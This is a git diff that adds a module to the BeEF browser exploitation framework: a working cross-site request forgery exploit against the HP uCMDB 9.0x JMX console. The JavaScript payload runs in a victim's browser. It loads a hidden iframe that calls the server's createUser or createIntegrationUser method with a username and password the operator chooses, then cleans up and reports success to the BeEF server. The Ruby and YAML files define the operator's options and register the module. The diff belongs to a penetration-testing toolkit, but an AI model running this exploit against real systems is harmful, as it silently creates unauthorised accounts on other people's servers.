diff --git a/modules/exploits/hp_ucmdb_add_user_csrf/command.js b/modules/exploits/hp_ucmdb_add_user_csrf/command.js new file mode 100644 index 000000000..5626d880b --- /dev/null +++ b/modules/exploits/hp_ucmdb_add_user_csrf/command.js @@ -0,0 +1,41 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { +var protocol = '<%= @protocol %>'; +var host = '<%= @host %>'; +var port = '<%= @port %>'; +var usertype = '<%= @usertype %>'; +var customerid = '<%= @customerid %>'; +var username = '<%= @username %>'; +var password = '<%= @password %>'; + +var url = protocol + '://' + host + ':' + port + '/' + 'HtmlAdaptor?action=invokeOpByName&name=UCMDB:service=Security%20Services&methodName=' + usertype; +url += '&arg0=' + customerid + '&arg1=' + username + '&arg2=' + password; + +if (usertype == 'createIntegrationUser'){ + url += '&arg3='; +} + +var ucmdb_iframe = beef.dom.createInvisibleIframe(); +ucmdb_iframe.setAttribute('src', url); + +cleanup = function() { + document.body.removeChild(ucmdb_iframe); +} +setTimeout("cleanup()", 15000); + +beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Command executed"); +}); diff --git a/modules/exploits/hp_ucmdb_add_user_csrf/config.yaml b/modules/exploits/hp_ucmdb_add_user_csrf/config.yaml new file mode 100644 index 000000000..4202b6c98 --- /dev/null +++ b/modules/exploits/hp_ucmdb_add_user_csrf/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + hp_ucmdb_add_user_csrf: + enable: true + category: "Exploits" + name: "HP uCMDB 9.0x add user CSRF" + description: "This module attempts to add additional users to the HP uCMDB (universal configuration management database).
For more information please refer to http://bmantra.blogspot.com/2012/10/hp-ucmdb-jmx-console-csrf.html" + authors: ["Bart Leppens"] + target: + working: ["ALL"] diff --git a/modules/exploits/hp_ucmdb_add_user_csrf/module.rb b/modules/exploits/hp_ucmdb_add_user_csrf/module.rb new file mode 100644 index 000000000..3213161a7 --- /dev/null +++ b/modules/exploits/hp_ucmdb_add_user_csrf/module.rb @@ -0,0 +1,40 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Hp_ucmdb_add_user_csrf < BeEF::Core::Command + + def self.options + return [ + { 'name' => 'protocol', 'type' => 'combobox', 'ui_label' => 'Protocol', 'store_type' => 'arraystore', + 'store_fields' => ['protocol'], 'store_data' => [['http'],['https']], + 'valueField' => 'protocol', 'displayField' => 'protocol', 'mode' => 'local', 'value' => 'http', 'autoWidth' => true + }, + {'name' => 'host', 'ui_label' => 'Host', 'value' => '127.0.0.1'}, + {'name' => 'port', 'ui_label' => 'Port', 'value' => '8080'}, + { 'name' => 'usertype', 'type' => 'combobox', 'ui_label' => 'Type of user', 'store_type' => 'arraystore', + 'store_fields' => ['usertype'], 'store_data' => [['createUser'],['createIntegrationUser']], + 'valueField' => 'usertype', 'displayField' => 'usertype', 'mode' => 'local', 'value' => 'createUser', 'autoWidth' => true + }, + {'name' => 'customerid', 'ui_label' => 'CustomerID', 'value' => '1'}, + {'name' => 'username', 'ui_label' => 'Desired username', 'value' => 'BeEF'}, + {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end